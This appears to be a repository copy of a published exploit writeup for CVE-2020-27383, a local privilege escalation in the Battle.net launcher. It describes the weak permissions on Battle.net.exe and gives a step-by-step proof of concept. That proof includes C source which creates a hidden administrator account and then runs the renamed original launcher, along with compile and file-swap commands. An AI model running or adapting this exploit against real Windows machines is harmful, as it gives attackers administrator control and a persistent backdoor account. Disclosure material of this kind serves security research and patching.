FreySolarEye Update Battle Net Launcher Local Privilege Escalation History

1 contributor

91 lines (61 sloc) | 2.72 KB

```
# Exploit Title: Battle.Net 1.27.1.12428 Local Privilege Escalation
# Date: 10-09-2020
# Exploit Author: George Tsimpidas
# Software Link  : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop )
# Version Patch: 1.27.1.12428
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local
# CVE : CVE-2020-27383



 Vulnerability Description:


Battle.net.exe  suffers from an elevation of
privileges vulnerability which can be used by an "Authenticated User" to modify the
existing executable file with a binary of his choice. The vulnerability exist due to weak set of permissions
being granted to the "Authenticated Users Group" which grants the (F) Flag aka "Full Control"

#PoC


C:\Program Files (x86)>icacls Battle.net

Battle.net           BUILTIN\Users:(OI)(CI)(F)
                         BUILTIN\Administrators:(OI)(CI)(F)
                         CREATOR OWNER:(OI)(CI)(F)

## Insecure File Permission

C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe"

Battle.net.exe BUILTIN\Users:(I)(F)
               BUILTIN\Administrators:(I)(F)
               FREY-OMEN\30698:(I)(F)


## Local Privilege Escalation Proof of Concept
#0.  Download & install

#1.  Create low privileged user & change to the user
## As admin
C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name

C:\Program Files (x86)\Battle.net> whoami
frey-omen\30698
C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code
   kali# cat addAdmin.c
     int main(void){
     system("net user placebo mypassword /add");
     system("net localgroup Administrators placebo /add");
     WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0);
    return 0;
    }

## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe

#4. Transfer created 'Battle.net.exe' to the Windows Host

#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files (x86)\Battle.net>' Folder

C:\Program Files (x86)\Battle.net> move C:\Users\lowpriv\Downloads\Battle.net.exe .

#6. Check that exploit admin user doesn't exists

C:\Program Files (x86)\Battle.net> net user placebo

```

```
The user name could not be found

#6. Reboot the Computer

C:\Program Files (x86)\Battle.net> shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr /v "Full"

User name                    placebo
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
```